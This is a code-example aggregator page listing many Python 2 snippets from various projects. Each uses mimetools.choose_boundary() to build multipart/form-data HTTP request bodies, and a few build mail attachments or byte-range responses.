def multipart_encode(vars, files, boundary = None, buffer = None):
        if boundary is None:
            boundary = mimetools.choose_boundary()
        if buffer is None:
            buffer = StringIO()
        for(key, value) in vars:
            buffer.write('--%s\r\n' % boundary)
            buffer.write('Content-Disposition: form-data; name="%s"' % key)
            buffer.write('\r\n\r\n')
            buffer.write(value)
            buffer.write('\r\n')
#            buffer += '--%s\r\n' % boundary
#            buffer += 'Content-Disposition: form-data; name="%s"' % key
#            buffer += '\r\n\r\n' + value + '\r\n'
        for(key, fd) in files:
            file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
#            filename = fd.name.split('/')[-1]
            filename = 'filename'
            contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
            buffer.write('--%s\r\n' % boundary)
            buffer.write('Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename))
            buffer.write('Content-Type: %s\r\n' % contenttype)
#            buffer += '--%s\r\n' % boundary
#            buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
#            buffer += 'Content-Type: %s\r\n' % contenttype
            # buffer += 'Content-Length: %s\r\n' % file_size
            fd.seek(0)
            buffer.write('\r\n')
            buffer.write(fd.read())
            buffer.write('\r\n')
        buffer.write('--%s--\r\n\r\n' % boundary)
        buffer.seek(0)
        return boundary, buffer.read()
Example #2
0
    def _encode_multipart_formdata(self, fields, files):
        """
        Encodes data for use in an HTTP POST.
        """
        BOUNDARY = mimetools.choose_boundary()
        content = ""

        fields = fields or {}
        files = files or {}

        for key in fields:
            content += "--" + BOUNDARY + "\r\n"
            content += "Content-Disposition: form-data; name=\"%s\"\r\n" % key
            content += "\r\n"
            content += str(fields[key]) + "\r\n"

        for key in files:
            filename = files[key]['filename']
            value = files[key]['content']
            content += "--" + BOUNDARY + "\r\n"
            content += "Content-Disposition: form-data; name=\"%s\"; " % key
            content += "filename=\"%s\"\r\n" % filename
            content += "\r\n"
            content += value + "\r\n"

        content += "--" + BOUNDARY + "--\r\n"
        content += "\r\n"

        content_type = "multipart/form-data; boundary=%s" % BOUNDARY

        return content_type, content
Example #3
0
    def encode_multipart_formdata(self,fields, files, BOUNDARY = '-----'+mimetools.choose_boundary()+'-----'):
        """ Encodes fields and files for uploading.
        fields is a sequence of (name, value) elements for regular form fields - or a dictionary.
        files is a sequence of (name, filename, value) elements for data to be uploaded as files.
        Return (content_type, body) ready for urllib2.Request instance
        You can optionally pass in a boundary string to use or we'll let mimetools provide one.
        """

        CRLF = '\r\n'
        L = []
        if isinstance(fields, dict):
            fields = fields.items()
        for (key, value) in fields:
            L.append('--' + BOUNDARY)
            L.append('Content-Disposition: form-data; name="%s"' % key)
            L.append('')
            L.append(value)
        for (key, filename, value) in files:
            filetype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
            L.append('--' + BOUNDARY)
            L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
            L.append('Content-Type: %s' % filetype)
            L.append('')
            L.append(value)
        L.append('--' + BOUNDARY + '--')
        L.append('')
        body = CRLF.join(L)
        content_type = 'multipart/form-data; boundary=%s' % BOUNDARY        # XXX what if no files are encoded
        return content_type, body
Example #4
0
 def multipart_encode(vars, files, boundary=None, buffer=None):
     if boundary is None:
         # Before :
         # boundary = mimetools.choose_boundary()
         # '127.0.0.1.1000.6267.1173556103.828.1'
         # This contains my IP address, I dont like that...
         # Now:
         m = hashlib.md5()
         m.update(mimetools.choose_boundary())
         boundary = m.hexdigest()
     if buffer is None:
         buffer = ''
     
     for(key, value) in vars:
         buffer += '--%s\r\n' % boundary
         buffer += 'Content-Disposition: form-data; name="%s"' % key
         buffer += '\r\n\r\n' + value + '\r\n'
     
     for(key, fd) in files:
         filename = fd.name.split( os.path.sep )[-1]
         contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
         buffer += '--%s\r\n' % boundary
         buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
         buffer += 'Content-Type: %s\r\n' % contenttype
         # buffer += 'Content-Length: %s\r\n' % getFileSize(fd)
         fd.seek(0)
         buffer += '\r\n' + fd.read() + '\r\n'
     buffer += '--%s--\r\n\r\n' % boundary
     return boundary, buffer
    def multipart_encode(vars, files, boundary = None, buffer = None):
        if boundary is None:
            boundary = mimetools.choose_boundary()
        if buffer is None:
            buffer = ''
        for(key, value) in vars:
            buffer += '--%s\r\n' % boundary
            buffer += 'Content-Disposition: form-data; name="%s"' % key
            buffer += '\r\n\r\n' + value + '\r\n'
        for(key, fd) in files:

            # allow them to pass in a file or a tuple with name & data
            if type(fd) == file:
                name_in = fd.name
                fd.seek(0)
                data_in = fd.read()
            elif type(fd) in (tuple, list):
                name_in, data_in = fd

            filename = os.path.basename(name_in)
            contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
            buffer += '--%s\r\n' % boundary
            buffer += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
            buffer += 'Content-Type: %s\r\n' % contenttype
            # buffer += 'Content-Length: %s\r\n' % file_size
            buffer += '\r\n' + data_in + '\r\n'
        buffer += '--%s--\r\n\r\n' % boundary
        return boundary, buffer
Example #6
0
def multipart_encode(data, charset):
    """Encode 'data' for a multipart post. If any of the values is of type file,
    the content of the file is read and added to the output. If any of the
    values is of type unicode, it is encoded using 'charset'. Returns a pair
    of the encoded string and content type string, which includes the multipart
    boundary used."""
    import mimetools, mimetypes
    boundary = mimetools.choose_boundary()
    encoded = []
    for key, value in data.iteritems():
        encoded.append('--%s' % boundary)
        if isinstance(value, file):
            fd = value
            filename = fd.name.split('/')[-1]
            content_type = (mimetypes.guess_type(filename)[0] or
                'application/octet-stream')
            encoded.append('Content-Disposition: form-data; ' +
                           'name="%s"; filename="%s"' % (key, filename))
            encoded.append('Content-Type: %s' % content_type)
            fd.seek(0)
            value = fd.read()
        else:
            encoded.append('Content-Disposition: form-data; name="%s"' % key)
            if isinstance(value, unicode):
                value = value.encode(charset)
        encoded.append('')  # empty line
        encoded.append(value)
    encoded.append('--' + boundary + '--')
    encoded.append('')  # empty line
    encoded.append('')  # empty line
    encoded = '\r\n'.join(encoded)
    content_type = 'multipart/form-data; boundary=%s' % boundary
    return encoded, content_type
Example #7
0
File: utils.py Project: fma16/Hotot
def encode_multipart_formdata(fields, files):
    BOUNDARY = mimetools.choose_boundary()
    CRLF = '\r\n'
    L = []
    total_size = 0
    L = []
    for key, value in fields.items():
        key, value = key.encode('utf8'), value.encode('utf8')
        L.append('--' + BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"' % key)
        L.append('')
        L.append(value)

    for pair in files:
        key, filename = pair[0].encode('utf8'), pair[1].encode('utf8')
        L.append('--' + BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"; filename="%s"' %
            (key, 'hotot.png'));
        L.append('Content-Type: %s' % get_content_type(filename))
        L.append('')
        L.append(file(filename).read())
        total_size += os.path.getsize(filename)

    L.append('--' + BOUNDARY + '--')
    L.append('')
    body = CRLF.join(L)
    headers = {'content-type':'multipart/form-data; boundary=%s' % BOUNDARY
        , 'content-length': str(len(body))};
    return headers, body
Example #8
0
    def __encodeMultipart(self, fields, files):
        """
        fields is a sequence of (name, value) elements for regular form fields.
        files is a sequence of (name, filename, value) elements for data to be uploaded as files
        Return (content_type, body) ready for httplib.HTTP instance
        """
        boundary = mimetools.choose_boundary()
        crlf = '\r\n'

        l = []
        for k, v in fields:
            l.append('--' + boundary)
            l.append('Content-Disposition: form-data; name="%s"' % k)
            l.append('')
            l.append(v)
        for (k, f, v) in files:
            l.append('--' + boundary)
            l.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (k, f))
            l.append('Content-Type: %s' % self.__getContentType(f))
            l.append('')
            l.append(v)
        l.append('--' + boundary + '--')
        l.append('')
        body = crlf.join(l)

        return boundary, body
Example #9
0
    def _upload(self, upload, params):
        res = []
        boundary = mimetools.choose_boundary()
        part_boundary = '--' + boundary

        if params:
            for name, value in params.iteritems():
                res.append([part_boundary, 'Content-Disposition: form-data; name="%s"' % name, '', value])

        if isinstance(upload, dict):
            upload = [upload]

        for obj in upload:
            name = obj.get('name')
            filename = obj.get('filename', 'default')
            content_type = obj.get('content-type')
            try:
                body = obj['body'].read()
            except AttributeError:
                body = obj['body']

            if content_type:
                res.append([part_boundary,
                            'Content-Disposition: file; name="%s"; filename="%s"' % (name, urllib.quote(filename)),
                            'Content-Type: %s' % content_type, '', body])
            else:
                res.append([part_boundary,
                            'Content-Disposition: file; name="%s"; filename="%s"' % (name, urllib.quote(filename)), '',
                            body])

        result = list(itertools.chain(*res))
        result.append('--' + boundary + '--')
        result.append('')
        return boundary, '\r\n'.join(result)
 def multipart_encode(vars, files, boundary = None, buffer = None):
     if boundary is None:
         boundary = mimetools.choose_boundary()
     if buffer is None:
         buffer = StringIO()
     for(key, value) in vars:
         buffer.write('--%s\r\n' % boundary)
         buffer.write('Content-Disposition: form-data; name="%s"' % key)
         if value is None:
             value = ""
         # if type(value) is not str, we need str(value) to not error with cannot concatenate 'str'
         # and 'dict' or 'tuple' or somethingelse objects
         buffer.write('\r\n\r\n' + str(value) + '\r\n')
     for(key, fd) in files:
         file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
         filename = fd.name.split('/')[-1]
         contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
         buffer.write('--%s\r\n' % boundary)
         buffer.write('Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename))
         buffer.write('Content-Type: %s\r\n' % contenttype)
         buffer.write('Content-Length: %s\r\n' % file_size)
         fd.seek(0)
         buffer.write('\r\n' + fd.read() + '\r\n')
     buffer.write('--' + boundary + '--\r\n')
     buffer = buffer.getvalue()
     return boundary, buffer
Example #11
0
    def multipart_encode(vars, files, boundary = None, buf = None):
        if boundary is None:
            boundary = mimetools.choose_boundary()
        if buf is None:
            buf = StringIO()
        for(key, value) in vars:
            buf.write('--%s\r\n' % boundary)
            buf.write('Content-Disposition: form-data; name="%s"' % key)
            buf.write('\r\n\r\n' + value + '\r\n')
        for(key, fd) in files:
            file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
            filename = fd.name.split('/')[-1:][0]
            contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
            buf.write('--%s\r\n' % boundary)
            buf.write('Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename))
            buf.write('Content-Type: %s\r\n' % contenttype)

            fd.seek(0)
            if compress:
                buf.write('\r\n' + zlib.compress(fd.read()) + '\r\n')
            else:
                buf.write('\r\n' + fd.read() + '\r\n')

        buf.write('--' + boundary + '--\r\n\r\n')
        buf = buf.getvalue()
        return boundary, buf
Example #12
0
def encode_multipart_formdata(fields, files):
    """
    fields is a sequence of (name, value) elements for regular form fields.
    files is a sequence of (name, filename, value) elements for data to be uploaded as files
    Return (content_type, body) ready for httplib.HTTP instance
    """
    BOUNDARY = mimetools.choose_boundary()
    CRLF = '\r\n'
    L = []
    for (key, value) in fields:
        L.append('--' + BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"' % key)
        L.append('')
        L.append(value)
    for (key, filename, value) in files:
        L.append('--' + BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
        L.append('Content-Type: %s' % get_content_type(filename))
        L.append('')
        L.append(value)
    L.append('--' + BOUNDARY + '--')
    L.append('')
    body = CRLF.join(L)
    content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
    return content_type, body
Example #13
0
def dumps(fields, **kw):
    '''
    fields is a sequence of (name, value) elements for regular form fields.
    files is a sequence of (name, filename, value) elements for data to be uploaded as files
    Return (content_type, body) ready for httplib.HTTP instance
    '''
    BOUNDARY = mimetools.choose_boundary()
    CRLF = '\r\n'
    L = []
    for key, value in fields:
        L.append('--' + BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"' % key)
        L.append('')
        L.append(value)
    files = kw.get('files', False)
    if files:
        def get_content_type(filename):
            return mimetypes.guess_type(filename)[0] or 'application/octet-stream'
        for key, filename, value in files:
            L.append('--' + BOUNDARY)
            L.append(
                'Content-Disposition: form-data; name="%s"; filename="%s"' % (
                    key, filename
                )
            )
            L.append('Content-Type: %s' % get_content_type(filename))
            L.append('')
            L.append(value)
    L.append('--' + BOUNDARY + '--')
    L.append('')
    body = CRLF.join(L)
    content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
    return content_type, body
Example #14
0
 def encode_multipart_form(self, fields):
     boundary = mimetools.choose_boundary()
     body = []
     for k, v in fields.items():
         body.append("--" + boundary.encode("utf-8"))
         header = 'Content-Disposition: form-data; name="%s";' % k
         if isinstance(v, FilePath):
             header += 'filename="%s";' % v.basename()
             body.append(header)
             header = "Content-Type: application/octet-stream"
             body.append(header)
             body.append("")
             body.append(v.getContent())
         elif hasattr(v, 'read'):
             header += 'filename="%s";' % 'unknown'
             body.append(header)
             header = "Content-Type: application/octet-stream"
             body.append(header)
             body.append("")
             body.append(v.read())
         else:
             body.append(header)
             body.append("")
             body.append(str(v).encode('utf-8'))
     body.append("--" + boundary.encode("utf-8"))
     content_type = 'multipart/form-data; boundary=%s' % boundary
     return (content_type, '\r\n'.join(body))
def make_multipart_formdata(values):
    boundary = mimetools.choose_boundary()
    content_type = 'multipart/form-data; boundary=' + boundary
    def parts():
        for field, value in values:
            field = str(field)
            yield '--' + boundary
            if isinstance(value, basestring):
                yield 'Content-Disposition: form-data; name="' + field + '"'
                yield ''
                yield str(value)
            else:
                filename, mimetype, file_ = value
                yield ('Content-Disposition: form-data; name="' + field +
                       '"; filename="' + str(filename) + '"')
                yield 'Content-Type: ' + str(mimetype)
                yield ''
                while 1:
                    chunk = file_.read(4096)
                    if chunk:
                        yield chunk
                    else:
                        break
        yield '--' + boundary + '--'
        yield ''
    return content_type, '\r\n'.join(parts())
Example #16
0
    def _encode_multipart_formdata(self, fields, files):
        """
    Encodes data for use in an HTTP POST or PUT.
    """
        BOUNDARY = mimetools.choose_boundary()
        content = []

        fields = fields or {}
        files = files or {}

        for key in fields:
            content.append("--" + BOUNDARY + "\r\n")
            content.append('Content-Disposition: form-data; name="%s"\r\n' % key)
            content.append("\r\n")
            content.append(fields[key])
            content.append("\r\n")

        for key in files:
            filename = files[key]["filename"]
            value = files[key]["content"]
            content.append("--" + BOUNDARY + "\r\n")
            content.append('Content-Disposition: form-data; name="%s"; ' % key)
            content.append('filename="%s"\r\n' % filename)
            content.append("\r\n")
            content.append(value)
            content.append("\r\n")

        content.append("--")
        content.append(BOUNDARY)
        content.append("--\r\n")
        content.append("\r\n")

        content_type = "multipart/form-data; boundary=%s" % BOUNDARY

        return content_type, "".join(map(str, content))
  def POST(self, path, parameter_dict, file_list=None):
    self._connect()
    parameter_dict.update(__ac_name=self.conn.username,
                          __ac_password=self.conn.password)
    header_dict = {'Content-type': "application/x-www-form-urlencoded"}
    if file_list is None:
      body = urllib.urlencode(parameter_dict)
    else:
      boundary = mimetools.choose_boundary()
      header_dict['Content-type'] = 'multipart/form-data; boundary=%s' % (
          boundary,)
      body = ''
      for k, v in parameter_dict.iteritems():
        body += '--%s\r\n' % boundary
        body += 'Content-Disposition: form-data; name="%s"\r\n' % k
        body += '\r\n'
        body += '%s\r\n' % v
      for name, filename in file_list:
        f = open(filename, 'r')
        body += '--%s\r\n' % boundary
        body += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n'\
                % (name, name)
        body += 'Content-Type: %s\r\n' % get_content_type(f)
        body += 'Content-Length: %d\r\n' % os.fstat(f.fileno())[stat.ST_SIZE]
        body += '\r\n'
        body += f.read()
        f.close()
        body += '\r\n'

    self.connection.request("POST", self.conn.path + '/' + path,
          body, header_dict)
    self.response = self.connection.getresponse()
Example #18
0
    def multipart_encode(vars, files, boundary=None, buf=None):
        if boundary is None:
            boundary = mimetools.choose_boundary()

        if buf is None:
            buf = ""

        for (key, value) in vars:
            if key is not None and value is not None:
                buf += "--%s\r\n" % boundary
                buf += "Content-Disposition: form-data; name=\"%s\"" % key
                buf += "\r\n\r\n" + value + "\r\n"

        for (key, fd) in files:
            file_size = os.fstat(fd.fileno())[stat.ST_SIZE] if isinstance(fd, file) else fd.len
            filename = fd.name.split("/")[-1] if "/" in fd.name else fd.name.split("\\")[-1]
            try:
                contenttype = mimetypes.guess_type(filename)[0] or "application/octet-stream"
            except:
                # Reference: http://bugs.python.org/issue9291
                contenttype = "application/octet-stream"
            buf += "--%s\r\n" % boundary
            buf += "Content-Disposition: form-data; name=\"%s\"; filename=\"%s\"\r\n" % (key, filename)
            buf += "Content-Type: %s\r\n" % contenttype
            # buf += "Content-Length: %s\r\n" % file_size
            fd.seek(0)

            buf = str(buf) if not isinstance(buf, unicode) else buf.encode("utf8")
            buf += "\r\n%s\r\n" % fd.read()

        buf += "--%s--\r\n\r\n" % boundary

        return boundary, buf
Example #19
0
    def encode_multipart_formdata(self, fields, files):
        """
        Properly encodes the multipart body of the request

        :param fields: a dict, the parameters used in the request
        :param files:  a list of tuples containing information about the files

        :returns: the content for the body and the content-type value
        """
        import mimetools
        import mimetypes
        BOUNDARY = mimetools.choose_boundary()
        CRLF = '\r\n'
        L = []
        for (key, value) in fields.items():
            L.append('--' + BOUNDARY)
            L.append('Content-Disposition: form-data; name="{0}"'.format(key))
            L.append('')
            L.append(value)
        for (key, filename, value) in files:
            L.append('--' + BOUNDARY)
            L.append('Content-Disposition: form-data; name="{0}"; filename="{1}"'.format(key, filename))
            L.append('Content-Type: {0}'.format(mimetypes.guess_type(filename)[0] or 'application/octet-stream'))
            L.append('Content-Transfer-Encoding: binary')
            L.append('')
            L.append(value)
        L.append('--' + BOUNDARY + '--')
        L.append('')
        body = CRLF.join(L)
        content_type = 'multipart/form-data; boundary={0}'.format(BOUNDARY)
        return content_type, body
Example #20
0
 def __encodeForm(inputs):
     """
     Takes a dict of inputs and returns a multipart/form-data string
     containing the utf-8 encoded data. Keys must be strings, values
     can be either strings or file-like objects.
     """
     boundary = mimetools.choose_boundary()
     lines = []
     for key, val in inputs.items():
         lines.append("--" + boundary.encode("utf-8"))
         header = 'Content-Disposition: form-data; name="%s";' % key
         if isinstance(val, gio.File):
             header += 'filename="%s";' % val.get_basename()
             lines.append(header)
             header = "Content-Type: application/octet-stream"
         lines.append(header)
         lines.append("")
         if isinstance(val, gio.File):
             contents, length, etags = val.load_contents()
             lines.append(contents)
         # Otherwise just hope it is string-like and encode it to
         # UTF-8. TODO: this breaks when val is binary data.
         else:
             lines.append(str(val).encode('utf-8'))
     # Add final boundary.
     lines.append("--" + boundary.encode("utf-8"))
     return (boundary, '\r\n'.join(lines))
Example #21
0
    def _encode_multipart_formdata(self, fields, files):
        LIMIT = mimetools.choose_boundary()
        CRLF = '\r\n'
        L = []
        for (key, value) in fields.iteritems():
            L.append('--' + LIMIT)
            L.append('Content-Disposition: form-data; name="%s"' % key)
            L.append('')
            if isinstance(value, bool):
                L.append(json.dumps(value))
            elif isinstance(value, list):
                L.append(str(value))
            else:
                L.append(value)
        for (key, value, filename) in files:
            L.append('--' + LIMIT)
            L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
            L.append('Content-Type: %s' % self._get_content_type3(filename))
            L.append('')
            L.append(open(value, 'rb').read())

        L.append('--' + LIMIT + '--')
        L.append('')
        body = CRLF.join(L)
        content_type = 'multipart/form-data; boundary=%s' % LIMIT
        return content_type, body
    def multipart_encode(vars, files, boundary = None, buf = None):
        if boundary is None:
            boundary = mimetools.choose_boundary()

        if buf is None:
            buf = ''

        for (key, value) in vars:
            buf += '--%s\r\n' % boundary
            buf += 'Content-Disposition: form-data; name="%s"' % key
            buf += '\r\n\r\n' + value + '\r\n'

        for (key, fd) in files:
            file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
            filename = fd.name.split('/')[-1]
            contenttype = mimetypes.guess_type(filename)[0] or 'application/octet-stream'
            buf += '--%s\r\n' % boundary
            buf += 'Content-Disposition: form-data; name="%s"; filename="%s"\r\n' % (key, filename)
            buf += 'Content-Type: %s\r\n' % contenttype
            # buf += 'Content-Length: %s\r\n' % file_size
            fd.seek(0)

            buf = str(buf)
            buf += '\r\n%s\r\n' % fd.read()

        buf += '--%s--\r\n\r\n' % boundary

        return boundary, buf
Example #23
0
def encode_multipart_formdata(fields,files,mimetype=None):
    """
    Derived from - http://code.activestate.com/recipes/146306/

    fields is a sequence of (name, value) elements for regular form fields.
    files is a sequence of (name, filename, value) elements for data to be 
    uploaded as files

    Returns (content_type, body) ready for httplib.HTTP instance
    """

    BOUNDARY = mimetools.choose_boundary()
    CRLF = '\r\n'
    L = []
    for (key, value) in fields:
        L.append('--' + BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"' % key)
        L.append('')
        L.append(value)
    for (key, filename, value) in files:
        L.append('--' + BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (
                        key, filename))
        L.append('Content-Type: %s' % (mimetype or 
                                       mimetypes.guess_type(filename)[0] or 
                                       'application/octet-stream'))
        L.append('')
        L.append(value)
    L.append('--' + BOUNDARY + '--')
    L.append('')
    body = CRLF.join(map(bytes,L))
    content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
    return content_type, body
Example #24
0
def sendmail(From, To, Cc=None, Bcc=None, Subject="", 
			 Body="", File=None, Filename="", InReplyTo=None):
	text = makePart(Body, "quoted-printable")
	if File is not None:
	    data = File.read()
	    if data:
		attach = makePart(data, "base64")
		ext = os.path.splitext(Filename)[1]
		ctype = mimetypes.guess_type(ext)[0] or "application/octet-stream"
		attach["Content-Type"] = ctype
		Filename = os.path.split(Filename)[1]
		attach["Content-Disposition"] = 'attachment; filename="%s"' % Filename
		msg = Message(StringIO())
		msg.boundary = choose_boundary()
		msg["Content-Type"] = 'multipart/mixed; boundary="%s"' % msg.boundary
		msg.parts.extend([text, attach])
	    else: msg = text
	else: msg = text
	msg["From"] = From
	msg["To"] = To
	if Cc: msg["Cc"] = Cc
	if Bcc: msg["Bcc"] = Bcc
	if InReplyTo: msg["In-Reply-To"] = InReplyTo
	msg["Subject"] = Subject or ""
	msg["Mime-Version"] = "1.0"
	text["Content-Type"] = "text/plain; charset=ISO-8859-1"
	msg["X-Mailer"] = XMailer
	Recipients = msg.getaddrlist("to") + msg.getaddrlist("cc") + msg.getaddrlist("bcc")
	for i in range(len(Recipients)):
	    Recipients[i] = Recipients[i][1]
	return sendMessage(From, Recipients, msg)
Example #25
0
File: utils.py Project: sarim/Hotot
def encode_multipart_formdata(fields, files):
    BOUNDARY = mimetools.choose_boundary()
    CRLF = "\r\n"
    L = []
    total_size = 0
    L = []
    for key, value in fields.items():
        key, value = str(key).encode("utf8"), str(value).encode("utf8")
        L.append("--" + BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"' % key)
        L.append("")
        L.append(value)

    for pair in files:
        key, filename = pair[0].encode("utf8"), pair[1].encode("utf8")
        L.append("--" + BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, "hotot.png"))
        L.append("Content-Type: %s" % get_content_type(filename))
        L.append("")
        L.append(file(filename).read())
        total_size += os.path.getsize(filename)

    L.append("--" + BOUNDARY + "--")
    L.append("")
    body = CRLF.join(L)
    headers = {"content-type": "multipart/form-data; boundary=%s" % BOUNDARY, "content-length": str(len(body))}
    return headers, body
Example #26
0
    def http_request(self, request):
        data = request.get_data()
        if data is not None and not isinstance(data, str):
            files = []
            vars = []
            try:
                 for key, value in data.iteritems():
                     #XXX; better check
                     if hasattr(value, 'read'):
                         files.append((key, value))
                     else:
                         vars.append((key, value))
            except TypeError:
                systype, value, traceback = sys.exc_info()
                raise TypeError, "not a valid non-string sequence or mapping object", traceback

            if not files:
                data = urllib.urlencode(vars, doseq)
            else:
                boundary = mimetools.choose_boundary()
                data = encode_multipart(vars, files, boundary)
                contenttype = 'multipart/form-data; boundary=%s' % boundary
                if (request.has_header('Content-Type')
                    and request.get_header('Content-Type').find('multipart/form-data') != 0):
                    log.debug("replace Content-Type %s with %s %s" % (request.get_header('content-type'), 'multipart/form-data'))
                request.add_unredirected_header('Content-Type', contenttype)

            request.add_data(data)
        return request
Example #27
0
def setup_multi_part_response(r, rngs, clen, content_type):
    """ Setups a response object for a multi part response, based on the byte
    ranges requested. Based on Cherrypy 3.1 implementation.

    @param r: response object
    @param rngs: list of ranges
    @param clen: length of the body file
    """
    b = mimetools.choose_boundary()
    r.headers['Content-type'] = 'multipart/byteranges;'\
                                'boundary=%s' % b

    real_file = r.body

    def mpart_body_generator():
        yield '\r\n'

        for start, stop in rngs:
            yield '--%s\r\n' % b
            yield 'Content-type: %s\r\n' % content_type
            yield 'Content-range: bytes\r\n%s-%s/%s\r\n\r\n' % \
                  (start, stop - 1, clen)
            real_file.seek(start)
            for c in chunk_generator(real_file, chunks_size, stop-start):
                yield c
            yield '\r\n'
        yield '--%s--\r\n' % b

    r.body = mpart_body_generator()
    def __init__(self,
                 data):
        self.data = data
        self.boundary = mimetools.choose_boundary()

        if 'audio' in data:
            self.input_name = 'audio'
            self.input_file = data.pop('audio')
        if 'document' in data:
            self.input_name = 'document'
            self.input_file = data.pop('document')
        if 'photo' in data:
            self.input_name = 'photo'
            self.input_file = data.pop('photo')
        if 'video' in data:
            self.input_name = 'video'
            self.input_file = data.pop('video')

        if isinstance(self.input_file, file):
            self.filename = os.path.basename(self.input_file.name)
            self.input_file_content = self.input_file.read()
        if 'http' in self.input_file:
            self.filename = os.path.basename(self.input_file)
            self.input_file_content = urllib2.urlopen(self.input_file).read()

        self.mimetype = mimetypes.guess_type(self.filename)[0] or \
            'application/octet-stream'
Example #29
0
def encode_multipart_formdata(fields, files):
    """
    fields is a sequence of (name, value) elements for regular form fields.
    files is a sequence of (name, filename, value) elements for data to be uploaded as files
    Return (content_type, body) ready for httplib.HTTP instance
    """
    mimetools._prefix = "some-random-string-you-like"    # vincent patch : http://mail.python.org/pipermail/python-list/2006-December/420360.html
    BOUNDARY = mimetools.choose_boundary()
    CRLF = '\r\n'
    L = []
    for (key, value) in fields:
        L.append('--' + BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"' % key)
        L.append('')
        L.append(value)
    for (key, filename, value) in files:
        L.append('--' + BOUNDARY)
        L.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
        L.append('Content-Type: %s' % get_content_type(filename))
        L.append('')
        L.append(value)
    L.append('--' + BOUNDARY + '--')
    L.append('')
    body = CRLF.join(L)
    content_type = 'multipart/form-data; boundary=%s' % BOUNDARY
    return content_type, body
Example #30
0
def encode_multipart(fields, files):
    """
    fields is a sequence of (name, value) elements for regular form fields.
    files is a sequence of (name, filename, value) elements for data to be uploaded as files
    Return (content_type, body) ready for httplib.HTTP instance
    """
    boundary = mimetools.choose_boundary()
    res = []
    for (key, value) in fields:
        res.append('--' + boundary)
        res.append('Content-Disposition: form-data; name="%s"' % key)
        res.append('')
        res.append(str(value))
    for (key, filename, value) in files:
        size = len(value)
        res.append('--' + boundary)
        res.append('Content-Disposition: form-data; name="%s"; filename="%s"' % (key, filename))
        res.append('Content-Type: %s' % get_content_type(filename))
        res.append('Content-Length: %s' % size)
        res.append('')
        res.append(value)
    res.append('--' + boundary + '--')
    res.append('')
    body = '\r\n'.join(res)
    content_type = 'multipart/form-data; boundary=%s' % boundary
    return content_type, body
Example #31
0
    def do_open(self, http_class, req):
        data = req.get_data()
        v_files = []
        v_vars = []
        if req.has_data() and type(data) != str:
            if hasattr(data, 'items'):
                data = data.items()
            else:
                try:
                    if len(data) and not isinstance(data[0], tuple):
                        raise TypeError
                except TypeError:
                    ty, va, tb = sys.exc_info()
                    raise TypeError, 'not a valid non-string sequence or mapping object', tb

            for k, v in data:
                if isinstance(v, dict):
                    if not v.has_key('fd'):
                        raise TypeError(
                            "if value is dict, it must have keys 'fd' and 'filename"
                        )
                    if not v.has_key('filename'):
                        raise TypeError(
                            "if value is dict, it must have keys 'fd' and 'filename"
                        )
                    v_files.append((k, v))
                elif hasattr(v, 'read'):
                    v_files.append((k, v))
                else:
                    v_vars.append((k, v))

        if len(v_vars) > 0 and len(v_files) == 0:
            data = urllib.urlencode(v_vars)
            v_files = []
            v_vars = []
        host = req.get_host()
        if not host:
            raise urllib2.URLError('no host given')
        h = http_class(host)
        if req.has_data():
            h.putrequest(req.get_method(), req.get_selector())
            if 'Content-type' not in req.headers:
                if len(v_files) > 0:
                    boundary = mimetools.choose_boundary()
                    l = send_data(v_vars, v_files, boundary)
                    h.putheader('Content-Type',
                                'multipart/form-data; boundary=%s' % boundary)
                    h.putheader('Content-length', str(l))
                else:
                    h.putheader('Content-type',
                                'application/x-www-form-urlencoded')
                    if 'Content-length' not in req.headers:
                        h.putheader('Content-length', '%d' % len(data))
        else:
            h.putrequest(req.get_method(), req.get_selector())
        scheme, sel = urllib.splittype(req.get_selector())
        sel_host, sel_path = urllib.splithost(sel)
        h.putheader('Host', sel_host or host)
        for name, value in self.parent.addheaders:
            name = name.capitalize()
            if name not in req.headers:
                h.putheader(name, value)

        for k, v in req.headers.items():
            h.putheader(k, v)

        try:
            h.endheaders()
        except socket.error as err:
            raise urllib2.URLError(err)

        if req.has_data():
            if len(v_files) > 0:
                l = send_data(v_vars, v_files, boundary, h)
            elif len(v_vars) > 0:
                data = urllib.urlencode(v_vars)
                h.send(data)
            else:
                h.send(data)
        code, msg, hdrs = h.getreply()
        fp = h.getfile()
        if code == 200:
            resp = urllib.addinfourl(fp, hdrs, req.get_full_url())
            resp.code = code
            resp.msg = msg
            return resp
        else:
            return self.parent.error('http', req, fp, code, msg, hdrs)
Example #32
0
 def __init__(self):
     self.form_fields = []
     self.files = []
     self.boundary = mimetools.choose_boundary()
     return
Example #33
0
class Constants(object):
